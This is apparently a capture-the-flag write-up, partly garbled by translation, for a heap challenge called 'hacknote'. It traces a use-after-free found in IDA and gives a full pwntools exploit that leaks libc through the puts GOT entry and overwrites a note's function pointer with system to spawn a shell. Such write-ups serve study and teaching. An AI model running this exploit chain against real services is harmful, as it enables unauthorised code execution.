First, the title is a menu title. Manually identify and rename the title in ida, as shown in the figure:
First, analyze the add function together with the program according to the program flow, as shown in the figure:
According to the above analysis, PTR_ Array is a global array with a length of 5, and then enter if to judge that "* (&ptr_array + I)" is ptr_array[i] then the contents of each array are judged null, that is, whether the data in this array has been add ed.
Then, a chunk with a size of 8 bytes is allocated to each in the array. The actual allocation is 0x10, and then the sentence "* * (& ptr_array + I) = m_puts" is actually allocated to ptr_array[i] the first part of the data part of the chunk is stored in M_ The address of the puts function.
Then, through my comments above, the overview diagram looks like this, as shown in the figure:
Next is the delete function analysis, as shown in the figure:
The analysis of print function is shown in the figure below:
Because it is a heap problem, find common vulnerabilities. As usual, if there is no null pointer in the free function, there must be a uaf vulnerability. When you know that there is this vulnerability, the first reaction is to find out which chunk has the permission to control the flow. At this time, combined with the print function in the program, it is actually determined by PTR_ M of array [i]_ The chunk data after the put function call. Since the function call (that is, the control flow permission) occurs here, we will change the original M_ The put function is changed to the system function, and the data in the subsequent sub chunk is changed to '/ bin/sh'. Well, the idea of vulnerability exploitation is available, and we will start to implement it
Personally, I like the habit of writing payload while debugging after the previous theory:
First, the program must start from the add function, and then the requirement is that we need to control PTR_ The two chunk s under array [i] are the control function and the data function. It is found that there is no system function, so we need ret2libc to construct puts( puts@got )Program flow
So how to control two associated chunk s? First try the classic uaf processes add, delete, and then add to see what happens:
It is found that there is no practical effect, that is, writing is equal to not writing. What we actually want to write data is PTR_ Since we want to control the first chunk of array, we need to apply for a chunk with the same size as it to achieve the purpose of replication, because when we add, the program has copied an 8byte chunk by default. Even if we manually assign the size to 8, there is no chunk with the size of 8 in the bin, so we need to ensure that there are two chunks with the size of 8byte in the bin, At this time, when we apply for a chunk of 8 bytes in size, the program will allocate it to the chunk that we can use uaf. Therefore, we call the add function twice and then the delete function. At this time, four chunks in bin are in free state and the size cannot all be 0x8, so that we can save the first two chunks with control flow when we apply again, According to tcache's single linked list rule, we will get PTR_ The program of array  assigns the chunk (the chunk of the control flow) by default. At this time, copy the chunk data, and then manually call PTR_ The control chunk of array can reach the write program flow
exp is as follows:
from pwn import * from LibcSearcher import * context (log_level = 'debug' ,bits=32 ,os = 'linux' ,arch = 'i386' ,terminal = ['tmux' , 'splitw', '-h']) #context (log_level = 'debug' ,bits= 32,os = 'linux' ,arch = 'i386' ,terminal = ['gnome-terminal' , '-x','sh', '-c']) # Interface local = 1 binary_name = "hacknote" ip = "126.96.36.199" port = 28394 if local: p = process(["./" + binary_name]) e = ELF("./" + binary_name) libc = e.libc else: p = remote(ip, port) e = ELF("./" + binary_name) # libc = ELF("libc-2.23.so") def z(a=''): if local: gdb.attach(p, a) if a == '': raw_input() else: pass ru = lambda x: p.recvuntil(x) rc = lambda x: p.recv(x) sl = lambda x: p.sendline(x) sd = lambda x: p.send(x) sla = lambda delim, data: p.sendlineafter(delim, data) def add(size,content): sla('Your choice :','1') sla('Note size :',size) sla('Content :',content) def delete(Index): sla('Your choice :','2') sla('Index :',Index) def show(Index): sla('Your choice :','3') sla('Index :',Index) #z('b *0x4006B1') puts_got = e.got['puts'] add('20','AAAA') #Size doesn't matter here, as long as it's not 8 add('20','BBBB') pause() delete('0') delete('1') #uaf mputs = 0x0804862B add('8',p32(mputs) + p32(puts_got)) #The focus is on applying for an 8-size chunk #Note here that the directly obtained puts_ The value of got is an address. What we need is this address #The value pointed to is the real address of the puts function. For example, 0x804a024 is the address of puts in the got table #0xf7dffca0 is the value pointed to by this address. What we need is this value to calculate the libc base address show('0') puts_addr = u32(rc(4)) libc_base = puts_addr - libc.symbols['puts'] success('puts_addr -> %#x',puts_addr) success('libc_base -> %#x',libc_base) delete('2') add('8',p32(libc_base+libc.symbols['system']) + b';sh') show('0') pause() p.interactive()
In addition, since we only need to have two chunks with the size of 0x8 in the bin, isn't the chunk applying for 0x8 in the first add a chunk with the size of two chunks? You can see the delete function as shown in the figure: here is to free the child chunks first, and then free the first level chunks. Because the actual size of the chunk applying for 0x8 is 0x10, free enters tcache. Then it is a single linked list, first in and then out. When we call the add function again, we get the chunks in the same order as the previous add. We can't directly copy the chunks of the control flow